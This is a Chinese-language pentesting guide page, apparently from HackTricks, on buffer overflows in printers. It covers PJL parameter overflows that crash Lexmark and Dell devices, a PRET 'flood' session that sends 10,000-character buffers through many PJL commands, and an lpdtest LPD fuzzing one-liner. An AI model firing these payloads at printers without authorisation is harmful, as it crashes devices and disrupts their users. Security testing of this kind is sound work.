hacktricks/network-services-pentesting/pentesting-printers/buffer-overflows.md
2023-08-03 19:12:22 +00:00

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# PJL
当将大约1,000个字符作为INQUIRE参数发送给_Lexmark_激光打印机时会导致其崩溃参见[CVE-2010-0619](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619)。将大约3,000个字符作为SET参数发送给_Dell 1720n_会导致设备崩溃
```
@PJL INQUIRE 00000000000000000000000000000000000000000000000000000…
```
您可以使用[**PRET**](https://github.com/RUB-NDS/PRET)来检查缓冲区溢出:
```bash
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> flood
Buffer size: 10000, Sending: @PJL SET [buffer]
Buffer size: 10000, Sending: @PJL [buffer]
Buffer size: 10000, Sending: @PJL COMMENT [buffer]
Buffer size: 10000, Sending: @PJL ENTER LANGUAGE=[buffer]
Buffer size: 10000, Sending: @PJL JOB NAME="[buffer]"
Buffer size: 10000, Sending: @PJL EOJ NAME="[buffer]"
Buffer size: 10000, Sending: @PJL INFO [buffer]
Buffer size: 10000, Sending: @PJL ECHO [buffer]
Buffer size: 10000, Sending: @PJL INQUIRE [buffer]
Buffer size: 10000, Sending: @PJL DINQUIRE [buffer]
Buffer size: 10000, Sending: @PJL USTATUS [buffer]
Buffer size: 10000, Sending: @PJL RDYMSG DISPLAY="[buffer]"
Buffer size: 10000, Sending: @PJL FSQUERY NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSDIRLIST NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSINIT VOLUME="[buffer]"
Buffer size: 10000, Sending: @PJL FSMKDIR NAME="[buffer]"
Buffer size: 10000, Sending: @PJL FSUPLOAD NAME="[buffer]"
```
# LPD守护进程
它允许多个用户定义的向量如_jobnameusername或hostname_这些向量可能**没有足够的保护。已经发现了与此故障相关的几个漏洞。
可以使用[PETT](https://github.com/RUB-NDS/PRET)中包含的`lpdtest`工具创建一个简单的**LPD模糊器**,用于测试缓冲区溢出。`in`参数将LPD协议定义的所有用户输入设置为某个值在本例中为Python输出
```bash
./lpdtest.py printer in "`python -c 'print "x"*150'`"
```
**你可以在** [**http://hacking-printers.net/wiki/index.php/Buffer\_overflows**](http://hacking-printers.net/wiki/index.php/Buffer\_overflows) **找到更多关于这些攻击的信息**
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